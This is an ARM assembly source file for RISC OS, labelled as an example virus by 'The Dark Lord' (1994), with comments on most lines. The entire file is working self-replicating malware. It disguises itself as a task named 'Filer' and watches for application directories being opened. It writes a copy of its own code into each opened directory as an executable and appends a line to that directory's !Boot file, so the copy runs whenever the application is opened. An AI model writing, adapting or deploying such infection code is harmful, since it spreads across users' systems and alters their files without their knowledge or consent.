; Simple, a example virus
; Copyright (C) 1994 The Dark Lord

.start
B wimp_init			;Jump over copyright message

DCB 10,10,"Simple, (C) 1994 The Dark Lord",10,10
ALIGN

.wimp_init
MOV	R0,#200 		;Minimum WIMP is 2.00
LDR	R1,task 		;Load magic word
ADR	R2,taskname		;Pointer to our task's name
SWI	XWimp_Initialise	;Init the wimp
SWIVS	XOS_Exit		;Just incase of error
STR	R1,taskhandle		;store the task handle

.poll_loop
MOV	R0,#0			;Poll mask
ADR	R1,pollblock		;Poll block
SWI	XWimp_Poll		;Poll the wimp...
TEQ	R0,#17			;Is the poll message wanted?
TEQNE	R0,#18			;Is it the other message wanted?
BNE	poll_loop		;It is not relevent, branch back to top
TEQ	R0,#17			;User_Message
TEQNE	R0,#18			;User_MessageRecorded
BEQ	user_message
B	poll_loop		;Back to the top just incase

.user_message
LDR	R0,[r1,#16]		;Get message number from block
TEQ	R0,#5			;Message_DataOpen (5)
TEQNE	R0,#0			;Message_Quit (0)
BNE	poll_loop		;Not an interesting message, return to poll

TEQ	R0,#5			;Message_DataOpen (5)
BEQ	infect			;If so, try and infect
TEQ	R0,#0			;Message_Quit
BEQ	closedown		;If so, close down wimp and quit
B	poll_loop		;Just incase

.closedown
LDR	R0,taskhandle		;Load our task's handle
LDR	R1,task 		;Load the magic word
SWI	XWimp_CloseDown 	;Close down wimp task
SWI	XOS_Exit		;And quit program

.infect
ADR	R0,pollblock		;Get the address of poll block
ADD	R0,R0,#44		;Go to the path of file
BL	count_len		;Count the string's length, into R11
ADD	R1,R0,R11		;Add to pointer to get to end of pathname
STR	R1,place		;Save place for later reference

MVN	R3,#0			;Virus filename counter
ADR	R4,filename		;Address of string to copy
.copy_filename1
ADD	R3,R3,#1		;Add 1 to counter
LDRB	R5,[R4,R3]		;Load a byte from original string
STRB	R5,[R1,R3]		;And write it on the end of the path
CMP	R5,#0			;Is it a null?
BNE	copy_filename1		;No, copy next character

ADR	R0,pollblock		;save_code expects filename in R10
ADD	R10,R0,#44		;so reextract it from pollblock
BL	save_code		;Save the code in the file pointed to

MVN	R3,#0			;Boot filename counter
ADR	R4,boot 		;Address of string to copy
LDR	R0,place		;Get the place again
.copy_filename2
ADD	R3,R3,#1		;Add one to counter
LDRB	R5,[R4,R3]		;Get next byte of original string
STRB	R5,[R0,R3]		;And save the byte back
CMP	R5,#0			;Is it the null at the end?
BNE	copy_filename2		;No, copy next chacater

ADR	R0,pollblock		;boot_line expects filename in R10
ADD	R10,R0,#44		;so reextract it from pollblock
BL	add_boot_line		;save the boot line to !Boot file

B	poll_loop		;Branch back to poll loop.

.count_len
MVN	R11,#0			;counter/offset pointer
.count_loop
ADD	R11,R11,#1		;Add one to our counter/offset pointer
LDRB	R10,[R0,R11]		;Load a byte from R0+R11
CMP	R10,#0			;Compare byte will null terminator
BNE	count_loop		;Not a null, get next character and count

MOV	PC,R14			;Return to calling code. R11=Length

.save_code
MOV	R0,#10			;Save memory as file
MOV	R1,R10			;Move filename from R10 to R1
MOV	R2,#&FF0		;Absolute executable file type
ADD	R2,R2,#8		;&FF8 won't fit in the instrucion, so add 8
ADR	R4,start		;Start of code
ADR	R5,end			;End of code
SWI	XOS_File		;Save the code
MOV	PC,R14			;Return to calling code.

.add_boot_line
MOV	R0,#&C0 		;Open file
MOV	R1,R10			;Move filename from R10 to R1
SWI	XOS_Find		;Open the file, handle in R0
MOV	R9,R0			;Move handle somewhere safe

MOV	R0,#2			;Read Extent
MOV	R1,R9			;File handle
SWI	XOS_Args		;Get the extend of the file into R2

MOV	R0,#1			;Set pointer
SWI	XOS_Args		;R2 is already set from above

MVN	R2,#0			;Counter of bytes written
MOV	R1,R9			;Get the file handle from R9
ADR	R3,load_line		;Address of line to add
.put_loop
ADD	R2,R2,#1		;Add 1 to the counter
LDRB	R0,[R3,R2]		;Load the next byte
SWI	XOS_BPut		;And write the byte to the file
CMP	R2,#18			;Is it the last character yet?
BNE	put_loop		;If not, loop again

MOV	R0,#0			;Close File
MOV	R9,R1			;Move file handle from R9 to R1
SWI	XOS_Find		;Close the file

MOV	PC,R14			;Otherwise, return to calling code.

.task
DCB "TASK"
.taskname
DCB "Filer",0
.load_line
DCB 10,60,"Obey$Dir",62,".Simple",10,0
.filename
DCB ".Simple",0
.boot
DCB ".!Boot",0
ALIGN
.taskhandle
DCD -1
.place
DCD -1
.end
.pollblock
